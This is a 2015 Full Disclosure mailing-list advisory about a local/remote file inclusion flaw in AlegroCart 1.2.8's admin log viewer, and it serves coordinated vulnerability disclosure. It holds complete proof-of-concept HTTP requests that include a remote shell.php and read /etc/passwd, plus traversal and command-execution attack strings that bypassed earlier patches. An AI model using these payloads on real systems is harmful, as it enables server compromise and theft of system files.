full-disclosure

Open Source and information security mailing list archives

Message-ID: <0MZQZl-1Zh74N2iB3-00LBE6@mrelayeu.kundenserver.de>
Date: Fri, 13 Nov 2015 17:07:10 +0100
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] AlegroCart 1.2.8: LFI/RFI

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    AlegroCart 1.2.8
Fixed in:            Patch AC128_fix_22102015
Path Link:           http://forum.alegrocart.com/download/file.php?id=1047
Vendor Website:      http://alegrocart.com/
Vulnerability Type:  LFI/RFI
Remote Exploitable:  Yes
Reported to vendor:  09/29/2015
Disclosed to public: 11/13/2015
Release mode:        Coordinated release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

When retrieving logs, there are no checks on the given file_path Parameter.
Because of this, local or remote files can be included, which are then executed
or printed.

Admin credentials are required to view logs.

3. Proof of Concept

Remote File:

POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 441

-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"

error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"

http://localhost/shell.php
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"

0
-----------------------------16809437203643590021165278222--

Local File:

POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 425

-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"

error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"

/etc/passwd
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"

0
-----------------------------16809437203643590021165278222--

For the patches AC128_fix_13102015 and AC128_fix_17102015 the following attack
strings were still working:

http://localhost/shell.php?x=ls&foo=/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/

/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/../../../../../../../etc/passwd

4. Code

/ upload/admin2/controller/report_logs.php
function get_file(){
        $file = '';
        if($this->request->gethtml('file_path', 'post')){
                $file = file_get_contents($this->request->gethtml('file_path', 'post'));
        }
        if($this->request->gethtml('decrytion', 'post')){
                $file = $this->ccvalidation->deCrypt($file, $this->config->get('config_token'));
        }
        if($file){
                $file = str_replace(array("\r\n", "\r", "\n"),'<br>', $file);
        }
        return $file;
}

5. Solution

To mitigate this issue please apply this patch:

TODO

Please note that a newer version might already be available.

6.. Report Timeline

09/29/2015 Informed Vendor about Issue
11/03/2015 Vendor releases fix
11/13/2015 Disclosed to public

Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives